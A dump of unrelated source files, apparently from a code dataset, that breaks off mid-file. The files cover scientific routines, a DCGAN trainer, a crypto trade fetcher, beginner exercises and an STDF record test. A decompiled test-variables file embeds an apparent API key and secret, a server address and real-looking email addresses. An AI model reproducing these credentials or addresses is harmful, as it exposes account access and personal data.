+{"seq_id":"613840736","text":"__author__ = 'toanngo'\nimport unittest\nfrom app.api.appointment_api import get_appointments_helper, create_appointment_helper\nfrom app.models import Users, Posting\n\n\nclass PostingApiTest(unittest.TestCase):\n @unittest.skip(\"skip to prevent creating too many appointments\")\n def test_create_appointment_helper(self):\n\n user = Users.query.filter_by(username='toanngo').first()\n posting_id = Posting.query.filter(Posting.cook_id != user.id).first().id\n appointment = create_appointment_helper(user, posting_id)\n self.assertTrue(appointment)\n self.assertTrue(appointment.customer_id == user.id)\n\n def test_get_appointments_helper(self):\n user = Users.query.filter_by(username='toanngo').first()\n appointments = get_appointments_helper(user)\n for appointment in appointments:\n print(appointment)\n self.assertTrue(appointments)\n\n\nif __name__ == '__main__':\n unittest.main()","sub_path":"app/tests/appointment_api_test.py","file_name":"appointment_api_test.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"99590725","text":"ntDict = {'A': 0, 'C': 1, 'G': 2, 'T': 3}\n\nimport random\n\ndef randomProbableKmer(text, k, prob_array):\n sumVal = float(sum(prob_array))\n rand = random.random()\n currSum = 0\n\n for ind, val in enumerate(prob_array):\n currSum += val\n if currSum/sumVal >= rand:\n return text[ind: ind + k]\n\ndef generateRandomMotifs(dna, k ,t):\n motifs = []\n for elem in dna:\n rand = random.randint(0, len(elem) - k)\n motifs.append(list(elem[rand : rand + k]))\n return motifs\n\ndef generateProbabilityArray(text, k, profile):\n freqArray = [0] * (len(text) - k + 1)\n for i in range(len(text) - k + 1):\n currProb = 1\n for ind, base in enumerate(text[i: i + k]):\n currProb *= profile[ntDict[base]][ind]\n freqArray[i] = currProb\n return freqArray\n\n\ndef generateProfileMatrixWithPseudocounts(motifs_mat):\n kmerCount = 4 + len(motifs_mat)\n profile = [[0] * k for _ in range(4)]\n\n for l in motifs_mat:\n for i, base in enumerate(l):\n profile[ntDict[base]][i] += 1\n\n for i in range(len(profile)):\n for j in range(len(l)):\n profile[i][j] += 1\n profile[i][j] /= kmerCount\n\n return profile\n\n\ndef score(motifs):\n k = len(motifs[0])\n score = 0\n\n for j in range(k):\n freqArray = [0] * 4\n for i in range(len(motifs)):\n base = motifs[i][j]\n freqArray[ntDict[base]] += 1\n score += (sum(freqArray) - max(freqArray))\n\n return score\n\n\ndef gibbsSampler(dna, k, t, N):\n best_motifs = generateRandomMotifs(dna, k, t)\n motifs = best_motifs\n for i in range(N):\n rand = random.randint(0, len(motifs) - 1)\n new_motifs = motifs[:rand] + motifs[rand + 1:]\n profile = generateProfileMatrixWithPseudocounts(new_motifs)\n prob_array = generateProbabilityArray(dna[rand], k, profile)\n motifs[rand] = randomProbableKmer(dna[rand], k, prob_array)\n\n if score(motifs) < score(best_motifs):\n best_motifs = motifs\n return best_motifs\n\n\nwith open('test.txt', 'r+') as file:\n values = file.readline().split()\n k, t, N = int(values[0]), int(values[1]), int(values[2])\n dna = [line.rstrip() for line in file]\n\n best_motifs = gibbsSampler(dna, k, t, N)\n best_score = score(best_motifs)\n for i in range(20):\n motifs = gibbsSampler(dna, k, t, N)\n if score(motifs) < best_score:\n best_motifs = motifs\n best_score = score(motifs)\n\n for elem in best_motifs:\n print(''.join(elem))\n\n\n","sub_path":"GibbsSamplerNew.py","file_name":"GibbsSamplerNew.py","file_ext":"py","file_size_in_byte":2555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"184896870","text":"import numpy as np;\nfrom householder import *\n\n\n# PRECOND : A is a n*m numpy float matrix\n# Returns Q,BD,R such as Q*BD*R = A\n# Q (size n*n) and R (size m*m) orthogonal\n# BD (size n*m) upper bidiagonal matrix\ndef bidiagonal(A,eps=1e-6):\n \n n = A.shape[0]\n m = A.shape[1]\n\n Qleft = np.matrix(np.eye(n,n))\n Qright = np.matrix(np.eye(m,m))\n BD = A[:]\n\n for i in range(min(n,m)):\n\n X = BD[i:n, i]\n \n Y = np.matrix(np.zeros([n-i,1]))\n Y[0,0] = np.linalg.norm(X)\n\n U1 = np.zeros([n, 1])\n U1[i:n] = calculate_householder_vector(X, Y, eps)\n \n Qleft = optimized_matrix_product_AxH(Qleft, U1)\n BD = optimized_matrix_product_HxA(U1, BD)\n\n if i < m-2:\n X = BD[i, (i+1):m]\n X = np.transpose(X)\n \n Y = np.matrix(np.zeros([m-i-1,1]))\n Y[0,0] = np.linalg.norm(X)\n\n U2 = np.zeros([m, 1])\n U2[(i+1):m] = calculate_householder_vector(X, Y, eps)\n \n Qright = optimized_matrix_product_HxA(U2, Qright)\n BD = optimized_matrix_product_AxH(BD, U2)\n\n return Qleft, BD, Qright\n\n","sub_path":"bidiagonal.py","file_name":"bidiagonal.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"176518792","text":"\"\"\"A star tracker algorithm\"\"\"\n\n# built-in libraries\nfrom math import degrees, sqrt, acos, asin, atan2, log\nimport argparse\n\n# external libraries\nimport numpy\nimport numpy.random\nimport scipy.linalg\nimport matplotlib.pyplot\n\n# internal libraries\nfrom .common import (rect, topobase, topo2rect,\n geo2vec, vec2geo,\n gcnav, dualtri, tabdes)\n\n\ndef filter_img(img, N=256, min_y=32, max_y=224):\n r, g, b, a = img[..., 0], img[..., 1], img[..., 2], img[..., 3]\n y = 255 * (0.2126 * r + 0.7152 * g + 0.0722 * b) * a\n point_list = []\n for y, x in zip(*numpy.where(numpy.logical_and(y > min_y, y < max_y))):\n r = sqrt((N // 2 - x - 1) ** 2 + (N // 2 - y - 1) ** 2)\n el = degrees(acos(r / N))\n az = degrees(atan2(N // 2 - x - 1, N // 2 - y - 1))\n point_list.append((az, el))\n else:\n return point_list\n\n\ndef find_matches(point_list, geo_hash):\n match_list = {}\n for xp in point_list:\n for xn in point_list:\n if xp is xn:\n continue\n \n try:\n p = gcnav(*xp, *xn)\n except:\n continue\n \n b = topobase(p, left=True)\n for p in point_list:\n if p is xp or p is xn:\n continue\n \n try:\n p = gcnav(*xp, *p)\n except:\n continue\n\n p = topo2rect(p, b)\n pair = geo_hash.get(p)\n if pair is not None:\n if (xp, xn) in match_list:\n vote_hash = match_list[xp, xn]\n elif (xn, xp) in match_list:\n vote_hash = match_list[xn, xp]\n pair = tuple(reversed(pair))\n else:\n vote_hash = match_list.setdefault((xp, xn), {})\n vote_hash.setdefault(pair, 0)\n vote_hash[pair] += 1\n return match_list\n\n\ndef tally_vote(match_list, star_map):\n bar_list = []\n for (xp, xn), vote_hash in match_list.items():\n for pair, votes in vote_hash.items():\n if pair is None:\n continue\n p1, star1 = star_map[pair[0]]\n p2, star2 = star_map[pair[1]]\n\n try:\n r_hat = dualtri(xp, xn, p1, p2)\n except:\n print(\"no votes for `%s %s` and `%s %s`\" %\n (*map(bytes.decode, star1),\n *map(bytes.decode, star2)))\n continue\n\n print(\"voting %d for match on `%s %s` and `%s %s`\" %\n (votes,\n *map(bytes.decode, star1),\n *map(bytes.decode, star2)))\n bar_list.append((r_hat, votes))\n return bar_list\n\n\ndef calc_stats(bar_list, C=0.95, max_q=5):\n N = sum(n for (_, n) in bar_list)\n if N <= 1:\n return # not enough measurements\n print(\"total votes %d\" % N)\n \n r_bar = sum(n * _hat for (_hat, n) in bar_list) / N\n r = scipy.linalg.norm(r_bar)\n r_hat = r_bar / r\n \n d = 1 - sum(n * numpy.dot(_hat, r_hat) ** 2\n for (_hat, n) in bar_list) / N\n std_dev = sqrt(d / N) / r\n print(\"std dev %.2e [deg]\" % degrees(std_dev))\n \n try:\n q = degrees(asin(sqrt(- log(1 - C)) * std_dev))\n except:\n return # standard deviation too high\n if q > max_q:\n return # confidence cone too wide\n\n ra, dec = vec2geo(r_hat)\n print(\"ra %.2f, dec %.2f (+/-%.2e) [deg]\" % (ra, dec, q))\n\n return r_hat\n\n\ndef cli():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--field\", default=\"star.nav\", type=str,\n help=\"nav stars\")\n parser.add_argument(\"-m\", \"--metric\", default=\"hash.geo\", type=str,\n help=\"geo hash\")\n parser.add_argument(\"image\", default=\"st.png\", type=str,\n help=\"input image\")\n\n return parser.parse_args()\n\n\ndef main(navstar, geohash, fin):\n img = matplotlib.pyplot.imread(fin)\n point_list = filter_img(img)\n \n data = tabdes(geohash, \"!bbHHxB\")\n geo_hash = {rect(x, y): (i, j) for (x, y, i, j, _) in data}\n\n match_list = find_matches(point_list, geo_hash)\n \n data = tabdes(navstar, \"!HHhe2s3sxxB\")\n star_map = [((lon, lat), (x, abbr))\n for (_, lon, lat, _, x, abbr, _) in data]\n\n bar_list = tally_vote(match_list, star_map)\n\n calc_stats(bar_list)\n\n\nif __name__ == \"__main__\":\n ns = cli()\n main(ns.field, ns.metric, ns.image)\n","sub_path":"st/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"250667874","text":"import sys\nimport time\n\nfrom ccxt import DDoSProtection, RequestTimeout, Exchange\n\nfrom tradingkit.data.fetch.fetcher import Fetcher\n\n\nclass CCXTFetcher(Fetcher):\n def __init__(self, exchange: Exchange):\n self.exchange = exchange\n self.wait_seconds = 60\n\n def fetch(self, symbol, since8601=None, to8601=None):\n since = 0 if since8601 is None else self.exchange.parse8601(since8601)\n to = self.exchange.milliseconds() if to8601 is None else self.exchange.parse8601(to8601)\n end = False\n while since < to and not end:\n try:\n sys.stdout.write(\"Since %s\\n\" % (time.ctime(since // 1000)))\n step = self.exchange.fetch_trades(symbol, since)\n if len(step) > 0:\n if since != step[-1]['timestamp']:\n since = step[-1]['timestamp']\n yield step\n else:\n sys.stdout.write(\"More trades in one millisecond than response length\\n\")\n since += 1\n else:\n sys.stdout.write(\"End of trades\\n\")\n end = True\n except DDoSProtection:\n sys.stderr.write(\"Api call rate limit reached, waiting %d seconds...\\n\" % self.wait_seconds)\n time.sleep(self.wait_seconds)\n except RequestTimeout:\n sys.stderr.write(\"Request timeout, retrying...\\n\")\n\n def fetch_all(self, symbol, since8601, to8601=None):\n trades = []\n last_trade = None\n # last = {'price': 7509.8, 'amount': 0.0035042, 'cost': 26.315841159999998}\n for step in self.fetch(symbol, since8601, to8601):\n for trade in step:\n # trades.append(trade)\n\n if last_trade is None:\n last_trade = trade.copy()\n elif last_trade['price'] == trade['price']:\n last_trade['amount'] += trade['amount']\n # last_trade['cost'] += trade['cost'] # on some exchanges is None\n else:\n trades.append(last_trade)\n last_trade = trade.copy()\n # print(last_trade)\n trades.append(last_trade)\n print(\"ACC trades\", len(trades))\n return trades","sub_path":"src/tradingkit/data/fetch/ccxt_fetcher.py","file_name":"ccxt_fetcher.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"163982258","text":"game_dictionary = {\n'home':{\n 'team_name':'Brooklyn Nets',\n 'colors': ['Black', 'White'],\n 'players':{\n 'Alan Anderson':{'number': 0,'shoe':16, 'points':22, 'rebounds':12, 'assists':12, 'steals':3, 'blocks':1, 'slam_dunks':1},\n 'Reggie Evans':{'number':30,'shoe':14, 'points':12, 'rebounds':12, 'assists':12, 'steals':12, 'blocks':12, 'slam_dunks':7},\n 'Brook Lopez':{'number':11,'shoe':17, 'points':17, 'rebounds':19, 'assists':10, 'steals':3, 'blocks':1, 'slam_dunks':5},\n 'Mason Plumlee':{'number':1,'shoe':19, 'points':26, 'rebounds':12, 'assists':6, 'steals':3, 'blocks':8, 'slam_dunks':5},\n 'Jason Terry':{'number':31,'shoe':15, 'points':19, 'rebounds':2, 'assists':2, 'steals':4, 'blocks':11, 'slam_dunks':4}}},\n'away':{\n 'team_name':'Charlotte Hornets',\n 'colors': ['Turquoise, Purple'],\n 'players':{\n 'Jeff Adrien':{'number':4,'shoe':18, 'points':10, 'rebounds':1, 'assists':1, 'steals':2, 'blocks':7, 'slam_dunks':2},\n 'Bismak Biyombo':{'number':0,'shoe':16, 'points':12, 'rebounds':4, 'assists':7, 'steals':7, 'blocks':15, 'slam_dunks':10},\n 'DeSagna Diop':{'number':2,'shoe':14, 'points':24, 'rebounds':12, 'assists':12, 'steals':4, 'blocks':5, 'slam_dunks':5},\n 'Ben Gordon':{'number':8,'shoe':15, 'points':33, 'rebounds':3, 'assists':2, 'steals':1, 'blocks':1, 'slam_dunks':0},\n 'Brendan Haywood':{'number':33,'shoe':15, 'points':6, 'rebounds':12, 'assists':12, 'steals':22, 'blocks':5, 'slam_dunks':12}}}}\n\ndef game_dict():\n return game_dictionary\n\ndef num_points_scored(player):\n for location, team_stats in game_dict().items():\n if player in team_stats['players'].keys():\n return team_stats['players'][player]['points']\n\ndef shoe_size(player):\n for location, team_stats in game_dict().items():\n if player in team_stats['players'].keys():\n return team_stats['players'][player]['shoe']\n\ndef team_colors(team_name):\n for location, team_stats in game_dict().items():\n if team_name in team_stats['team_name']:\n return team_stats['colors']\n\ndef team_names():\n team_names_list=[]\n for location, team_stats in game_dict().items():\n team_names_list.append(team_stats['team_name'])\n return team_names_list\n\ndef player_numbers(team_name):\n for location, team_stats in game_dict().items():\n if team_name == team_stats['team_name']:\n return [team_stats['players'][player]['number'] for player in team_stats['players'].keys()]\n\ndef player_stats(player):\n for location, team_stats in game_dict().items():\n if player in team_stats['players'].keys():\n return team_stats['players'][player]\n","sub_path":"dictionaryball.py","file_name":"dictionaryball.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"174263854","text":"def main():\n import shelve\n\n allrows = shelve.open('drows.db')\n try:\n allrows['0'] = {1:'foo', 2:'bar', 3:'Lumberjack', 4:'Knights'}\n allrows['Hello'] = {'foo': 'Hello', 'bar': \"World\", 'Lumberjack': '?', 'Knights': '?'}\n allrows['Spam'] = {'foo': 'Spam', 'bar': \"Eggs\", 'Lumberjack': '?', 'Knights': '?'}\n finally:\n allrows.close()\n\n allrows = shelve.open('drows.db')\n\n fargs = {}\n for item in allrows['0']:\n fname = allrows['0'][item]\n if fname in globals():\n fargs[fname] = {}\n from inspect import signature, _empty\n sig = signature(eval(fname))\n print(\"%s is a function with arguments %s\" % (fname, sig))\n for param in sig.parameters.values():\n pname = param.name\n pdefault = param.default\n #print(pdefault is _empty)\n #print('%s %s' % (pname, pdefault))\n if pdefault is _empty:\n fargs[fname][pname] = None\n print('Required parameter: %s %s' % (fname, pname))\n else:\n fargs[fname][pname] = pdefault\n print('I have default value for: %s %s %s' % (fname, pname, pdefault))\n print(fargs)\n\n for item in allrows:\n if item != '0':\n print(\"%s: %s\" % (item, allrows[item]))\n\ndef delrow(allrows, rowkey):\n try:\n del allrows[rowkey]\n except:\n pass\n\ndef Knights():\n return \"Ni\"\n\ndef Lumberjack(job, play='', status='Okay'):\n return \"I'm okay\"\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"gro.py","file_name":"gro.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"539350282","text":"import numpy as np\nimport pandas as pd\nimport os\nfrom utils_dir import utils, plot_utils\nimport argparse\n\n\ndef calculate_class_distribution(dataset_dir, save_dir):\n # dataset_dir = \"/home/quanchu/Dataset/FaceImagCroppedWithAlignmentShorten\"\n lst = []\n\n dirs = os.listdir(dataset_dir)\n for dir in dirs:\n full_dir_path = os.path.join(dataset_dir, dir)\n num_files = len(os.listdir(full_dir_path))\n\n lst.append((dir, num_files))\n # print(\"Class {} : {} files\".format(dir, num_files))\n\n df = pd.DataFrame(lst, columns=[\"Class\", \"Number Samples\"])\n\n # save_dir = \"./EDA/Version2\"\n\n # Save file contain number samples of each class\n utils.save_csv(df, os.path.join(save_dir, \"Class-NumSamples.csv\"))\n print(df.head())\n\n # Save file contain statistic about class distribution\n arr = df[\"Number Samples\"].values\n min, max, mean, std, sum = arr.min(), arr.max(), arr.mean(), arr.std(), arr.sum()\n stats = [(\"min\", min), (\"max\", max), (\"mean\", mean), (\"std\", std), (\"sum\", sum)]\n\n stats_df = pd.DataFrame(stats, columns=[\"Statistic\", \"Value\"])\n utils.save_csv(stats_df, os.path.join(save_dir, \"Statistic.csv\"))\n\n # Plot number samples of each class\n plot_utils.plot_histogram(\n arr.tolist(),\n num_bins=300,\n save_path=os.path.join(save_dir, \"ClassDistribution.jpg\"),\n color=\"C2\",\n figsize=(15, 8),\n title=\"Class Distribution\",\n xlabel=\"Number samples\",\n ylabel=\"Number classes\",\n )\n\n # print(\"In {}: has {} dirs\".format(dataset_dir, len(dirs)))\n print(\"EDA:: Save calculate class distribution to {} done\".format(save_dir))\n\n\nif __name__ == \"__main__\":\n\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--dataset_dir\", required=True)\n ap.add_argument(\"--save_dir\", required=True)\n\n args = vars(ap.parse_args())\n dataset_dir = args[\"dataset_dir\"]\n save_dir = args[\"save_dir\"]\n\n calculate_class_distribution(dataset_dir=dataset_dir, save_dir=save_dir)\n pass\n\n","sub_path":"eda.py","file_name":"eda.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"597987229","text":"import numpy as np\r\nimport itertools\r\nfrom scipy import stats\r\n\r\ndef data(alpha,n,beta,se,rou):\r\n cov = (1-rou)*np.identity(q) + rou*(np.ones((q,q)))\r\n X = np.random.multivariate_normal(np.zeros(q), cov, n)\r\n Y = alpha + X@beta + np.random.randn(n)*se\r\n return X,Y\r\n\r\ndef Y_m(X,Y,*args):\r\n q = len(X[0])\r\n n = len(Y)\r\n K = args[0]\r\n line = np.arange(0,q,1)\r\n min_error = np.inf\r\n Ym = np.zeros(n)\r\n if (K>=4 and K<=(q-4)):\r\n xk = np.zeros((n,K))\r\n for i in range(K):\r\n xk[:,i] = X[:,i]\r\n Y_hat = xk@np.linalg.inv(xk.T@xk)@xk.T@Y\r\n min_error = np.dot(Y-Y_hat,Y-Y_hat)\r\n Ym = Y_hat\r\n for i in range(1000):\r\n xk = np.zeros((n,K))\r\n index = np.sort(np.random.choice(q, K, replace=False))\r\n for j in range(K):\r\n xk[:,j] = X[:,index[j]]\r\n Y_hat = xk@np.linalg.inv(xk.T@xk)@xk.T@Y\r\n error = np.dot(Y-Y_hat,Y-Y_hat)\r\n if (error -1:\r\n ar = ar / 10\r\n print(\"Þú ert\", ar, \"ára í hundsárum\")\r\nelif ar > 2:\r\n ar = ar - 20\r\n ar = ar / 4\r\n ar = ar + 2\r\n print(\"Þú ert\", ar, \"ára í hundsárum\")\r\nelse:\r\n print(\"Þetta er ekki réttur aldur\")\r\nprint()\r\n\r\n#liður_2_serhljodi_eda_samhljodi\r\nprint()\r\nprint(\"þetta forit segir þér hvort þú hefur slegið inn samhljóað eða sérhljóða\")\r\nprint(\"Ath þetta virkar bara fyrir enska stafarófið!\")\r\nstafur = input(\"Sláðu inn staf\")\r\nif stafur == \"a\" or stafur == \"e\" or stafur == \"i\" or stafur == \"o\" or stafur == \"u\":\r\n print(stafur,\", er sérhljóði\")\r\nelif stafur == \"y\":\r\n print(stafur,\", gæti verið sérhljóði og samhljóði\")\r\nelse:\r\n print(\"þetta er samhljóði\")\r\nprint()\r\n\r\n#liður_3_vikulaun\r\nprint()\r\nprint(\"Þetta forit reiknar út launseðil viðkomandi\")\r\nnafn = input(\"Sláðu inn nafn: \")\r\nkt = input(\"Sláður inn kennitölu: \")\r\ntimi = int(input(\"Sláðu inn vinnutíman þinn námundað upp að klst fyrir síðustu viku: \"))\r\nif timi > 60:\r\n extra_vinna = timi - 60\r\n extra_laun = extra_vinna * 1200 * 2\r\n yfir_vinna = 20\r\n yfir_laun = yfir_vinna * 1200 * 1.5\r\n dag_vinna = 40\r\n dag_laun = dag_vinna * 1200\r\n heildar_laun = dag_laun + yfir_laun + extra_laun\r\nelif timi < 61 and timi > 40:\r\n yfir_vinna = timi - 40\r\n yfir_laun = yfir_vinna * 1200 * 1.5\r\n dag_vinna = 40\r\n dag_laun = dag_vinna * 1200\r\n heildar_laun = dag_laun + yfir_laun\r\nelif timi < 41:\r\n dag_vinna = timi\r\n dag_laun = timi * 1200\r\n heildar_laun = dag_laun\r\n\r\n\r\nprint(nafn,\"kt:\",kt)\r\nprint(\"Heildarlaun þín fyrir vikuna eru: \",heildar_laun,\" kr\")\r\nprint(\"Þú ert með\", dag_vinna,\"tíma í dagvinnu sem gera: \", dag_laun,\" kr\")\r\nprint(\"Þú ert með\", yfir_vinna,\"tíma í yfirvinnu sem gera: \", yfir_laun,\" kr\")\r\nprint(\"Þú ert með\", extra_vinna,\"tíma í extra álagi sem gera: \", extra_laun,\" kr\")","sub_path":"py_projects/forritun/aefingaverkefni/aukaæfing(Ifelse).py","file_name":"aukaæfing(Ifelse).py","file_ext":"py","file_size_in_byte":2124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"311682318","text":"def ideal_helmholtz_from_coef_vector(delta,tau,ideal_n,ideal_gamma):\r\n from numpy import log,exp,meshgrid\r\n tau_m,ideal_n_m=meshgrid(tau,ideal_n)\n delta_m,ideal_gamma_m=meshgrid(delta,ideal_gamma)\n \r\n t1=ideal_n_m[3:len(ideal_gamma)][:]*log(1.0-exp(-ideal_gamma_m[3:len(ideal_gamma)][:]*tau_m[3:len(ideal_gamma)][:])) \r\n t1_v=t1.sum(axis=0)\n return log(delta) + ideal_n_m[0][:] + ideal_n_m[1][:]*tau_m[2][:] + ideal_n_m[2]*log(tau_m[2][:]) + t1_v\n \n \n","sub_path":"TCM_mex/python_compressibility/h2_ch4_EOS_GERG/helmholtz_functions/ideal_helmholtz_from_coef_vector.py","file_name":"ideal_helmholtz_from_coef_vector.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"46844743","text":"import os\nimport argparse\n\nfrom .data.loader import DrawDataset\nfrom .data.transform import Rasterizer\nfrom .nn import RunDCGAN\nfrom .nn.dcgan import Discriminator, Generator\n\nimport torch\nfrom torch import nn, optim\nfrom torchvision import transforms\n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\n\n# Argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('-p', '--path',\n help='Path to data directory', type=str)\nparser.add_argument('-s', '--seed_value',\n help='Seed value', type=int, default=1)\nparser.add_argument('-b', '--batch_size',\n help='Batch size', type=int, default=128)\nparser.add_argument('-lr', '--learning_rate',\n help='Learning rate value', type=int, default=0.0002)\nparser.add_argument('-ep', '--train_epoch',\n help='Epoch train number', type=int, default=20)\nparser.add_argument('-c', '--draw_class',\n help='Drawing class', type=str, default=\"apple\")\nparser.add_argument('-r', '--reduce',\n help='Dataset reduction size', type=int, default=10000)\n\nargs = parser.parse_args()\nprint(args)\n\n# Check cuda availability\ncuda = torch.cuda.is_available()\n\n# Initialize the seed\ntorch.manual_seed(args.seed_value)\n\nif cuda:\n torch.cuda.manual_seed(args.seed_value)\n\nmodel_path = \"models-dcgan/\" + args.draw_class\nresult_path = \"result-dcgan/\" + args.draw_class\nos.makedirs(\"models-dcgan\", exist_ok=True)\nos.makedirs(result_path, exist_ok=True)\nif os.path.isfile(model_path):\n runner = RunDCGAN.load(model_path)\nelse:\n gen = Generator()\n dis = Discriminator()\n\n gen.weight_init(mean=0.0, std=0.02)\n dis.weight_init(mean=0.0, std=0.02)\n # Loss criterion: Binary Cross Entropy\n criterion = nn.BCELoss()\n\n # Optimizer: Adam\n dis_optim = optim.Adam(dis.parameters(),\n lr=args.learning_rate, betas=(.5, .999))\n gen_optim = optim.Adam(gen.parameters(),\n lr=args.learning_rate, betas=(.5, .999))\n\n runner = RunDCGAN(dis, dis_optim, gen, gen_optim,\n cuda=cuda, criterion=criterion, log_interval=10)\n\ntransform = transforms.Compose([\n Rasterizer(),\n transforms.Scale((64, 64)),\n transforms.ToTensor(),\n transforms.Normalize(\n mean=(0.5, 0.5, 0.5),\n std=(0.5, 0.5, 0.5))\n])\n\nprint(\"Loading data for class '{}'...\".format(args.draw_class))\ndataset = DrawDataset.load(args.path, transform=transform)\ndataset = dataset.select([args.draw_class])\ndataset = dataset.reduce(args.reduce, seed=args.seed_value)\nprint(\"Done.\")\n\ntrain = torch.utils.data.DataLoader(\n dataset,\n batch_size=args.batch_size,\n shuffle=True)\n\nfor _ in range(args.train_epoch):\n print(\"Epoch {}...\".format(runner.epoch + 1))\n runner.train_epoch(train)\n img = runner.test()\n plt.imshow(img, cmap='gray')\n plt.title(\"Epoch {}\".format(runner.epoch + 1))\n plt.savefig(\"{}/{}.png\".format(result_path, runner.epoch + 1))\n\n runner.epoch += 1\n runner.save(model_path)\n","sub_path":"deepdraw/dcgan.py","file_name":"dcgan.py","file_ext":"py","file_size_in_byte":3061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"94868214","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.5 (3350)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/mittepro/test_variables.py\n# Compiled at: 2020-01-28 09:25:21\n# Size of source mod 2**32: 2640 bytes\nvariables = {'recipients': [\n 'Thíàgõ ',\n 'Läçêrdà '], \n \n 'context_per_recipient': {'thiago.decastro2@gmail.com': {'updateprofile': 'https://www.google.com/doodles/celebrating-ruth-asawa', \n 'update_profile': 'https://www.google.com/doodles/teachers-day-2019-paraguay', \n 'sobrenome': 'Tíâò', \n 'lastname': 'Làçẽrdä', \n 'forward': 'https://www.google.com/doodles/celebrating-the-new-era', \n 'resub': 'https://www.google.com/doodles/na-hye-soks-123rd-birthday', \n 'unsub': 'https://www.google.com/doodles/rosy-afsaris-73rd-birthday', \n 'aniversario': '17/11', \n 'birthday': '12/01', \n 'e-mail': 'thiago.dsn.cir@alterdata.com.br', \n 'email': 'alex.dsn.cir@alterdata.com.br', \n 'nome': 'Àléx', \n 'name': 'Ãlëx'}, \n \n 'thiago.dsn.cir@alterdata.com.br': {'updateprofile': 'https://www.google.com/doodles/celebrating-ruth-asawa', \n 'update_profile': 'https://www.google.com/doodles/teachers-day-2019-paraguay', \n 'sobrenome': 'Tíâò', \n 'lastname': 'Làçẽrdä', \n 'forward': 'https://www.google.com/doodles/celebrating-the-new-era', \n 'resub': 'https://www.google.com/doodles/na-hye-soks-123rd-birthday', \n 'unsub': 'https://www.google.com/doodles/rosy-afsaris-73rd-birthday', \n 'aniversario': '17/11', \n 'birthday': '12/01', \n 'e-mail': 'thiago.dsn.cir@alterdata.com.br', \n 'email': 'alex.dsn.cir@alterdata.com.br', \n 'nome': 'Àléx', \n 'name': 'Ãlëx'}}, \n \n 'from_': 'Beutrano ', \n 'from_2': '', \n 'template_slug': 'test-101', \n 'message_text': 'Using this message instead.', \n 'message_html': 'Using this message instead.', \n 'key': '1e4be7cdd03545958e34', \n 'secret': 'cf8cdba282104ed88f0a'}\nserver_uri_test = 'http://172.16.72.93:8002'\nsearch_variables = {'app_ids': '1001', \n 'status': ['1', '2'], \n 'start': '2019-05-01', \n 'end': '2019-05-03', \n 'name_sender': 'Beutrano', \n 'email_sender': 'beutrano@alterdata.com.br', \n 'name_receiver': 'Läçêrdà', \n 'email_receiver': 'thiago.dsn.cir@alterdata.com.br', \n 'template_slug': 'tpl-teste', \n 'uuids': [\n '21da05e09a214bf',\n '7b9332128a3f461',\n '09f7ceac90fe4b3',\n '0f39a611031c4ff',\n 'f2412b7062814de']}","sub_path":"pycfiles/mittepro-2.3.4-py3.5/test_variables.cpython-35.py","file_name":"test_variables.cpython-35.py","file_ext":"py","file_size_in_byte":4065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"324529200","text":"import io\n\nfrom .STDFRecordTest import STDFRecordTest\nfrom Semi_ATE.STDF import WRR\n\n# Wafer Results Record\n# Function:\n# Contains the result information relating to each wafer tested by the job \n# plan. TheWRRand the Wafer Information Record (WIR) bracket all the stored \n# information pertainingto one tested wafer. This record is used only when \n# testing at wafer probe time. AWIR/WRRpair will have the same\n# HEAD_NUM and SITE_GRP values.\n\ndef test_WRR():\n wrr('<')\n wrr('>')\n\ndef wrr(endian):\n \n# ATDF page 34\n expected_atdf = \"WRR:\"\n# record length in bytes \n rec_len = 0;\n\n# STDF page 38\n record = WRR(endian = endian)\n \n head_num = 1\n record.set_value('HEAD_NUM', head_num)\n rec_len += 1;\n expected_atdf += str(head_num) + \"|\"\n\n site_grp = 1\n record.set_value('SITE_GRP', site_grp)\n rec_len += 1;\n\n finish_t = 1609462861 \n record.set_value('FINISH_T', finish_t)\n rec_len += 4;\n expected_atdf += \"1:1:1 1-JAN-2021|\"\n\n# The order of fields is different in STDF and ATDF for WRR record\n# \n# STDF page 38| ATDF page 34 \n# \n# HEAD_NUM = HEAD_NUM\n# SITE_GRP \n# FINISH_T = FINISH_T\n# PART_CNT = PART_CNT \n# | WAFER_ID\n# | SITE_GRP\n# RTST_CNT = RTST_CNT\n# ABRT_CNT = ABRT_CNT\n# GOOD_CNT = GOOD_CNT\n# FUNC_CNT = FUNC_CNT\n# WAFER_ID \n# FABWF_ID = FABWF_ID\n# FRAME_ID = FRAME_ID\n# MASK_ID = MASK_ID\n# USR_DESC = USR_DESC\n# EXC_DESC = EXC_DESC\n\n part_cnt = 11234567 \n record.set_value('PART_CNT', 